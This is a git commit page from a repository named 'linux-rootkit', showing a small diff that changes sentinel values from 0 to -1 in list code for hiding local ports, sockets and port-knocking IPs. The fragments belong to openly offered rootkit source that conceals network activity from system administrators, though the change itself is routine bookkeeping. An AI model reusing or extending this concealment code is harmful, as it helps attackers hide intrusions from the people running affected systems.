linux-rootkit

commit 833b7f41a2f04cac8fc4d42f512a7c56914680d4
parent 259b7b02bd8f741770a23f73a228b2fb20429576
Author: deurzen <m.deurzen@tum.de>
Date:   Sun, 10 Jan 2021 21:30:58 +0100

moves from 0-check to -1-check

Diffstat:
M
src/porthide.c
 | 
7
++++---
M
src/sockhide.c
 | 
4
++--

2 files changed, 6 insertions(+), 5 deletions(-)
diff --git a/src/porthide.c b/src/porthide.c
@@ -45,7 +45,7 @@ knock_list_t ips_stage3 = {
 knock_list_t_ptr ips_stage3_tail = &ips_stage3;
 
 lport_list_t hidden_lports = {
-    .lport = 0,
+    .lport = -1,
     .prev = NULL,
     .next = NULL,
 };
@@ -88,8 +88,9 @@ clear_hidden_lports(void)
 {
     knock_list_t_ptr i;
 
-    i = ips_stage1_tail;
     ip_t no_ip = { 0 };
+
+    i = ips_stage1_tail;
     if (memcmp(i->ip, no_ip, (ip->version == v4 ? 4 : 16)))
         while ((i = remove_knock_from_list(i, &i, i->ip, i->version)));
 
@@ -149,7 +150,7 @@ remove_lport_from_list(lport_list_t_ptr list, lport_t lport)
 {
     lport_list_t_ptr i = find_lport_in_list(list, lport), ret = NULL;
 
-    if (i && (i->lport != 0)) {
+    if (i && (i->lport != -1)) {
         if (i->next)
             i->next->prev = i->prev;
         else
diff --git a/src/sockhide.c b/src/sockhide.c
@@ -13,7 +13,7 @@
 #include "porthide.h"
 
 port_list_t hidden_ports = {
-    .port  = 0,
+    .port  = -1,
     .proto = -1,
     .prev = NULL,
     .next = NULL,
@@ -167,7 +167,7 @@ remove_port_from_list(port_list_t_ptr list, port_t port, proto_t proto)
 {
     port_list_t_ptr i = find_port_in_list(list, port, proto), ret = NULL;
 
-    if (i && (i->port != 0 && i->proto != -1)) {
+    if (i && (i->port != -1 && i->proto != -1)) {
         if (i->next)
             i->next->prev = i->prev;
         else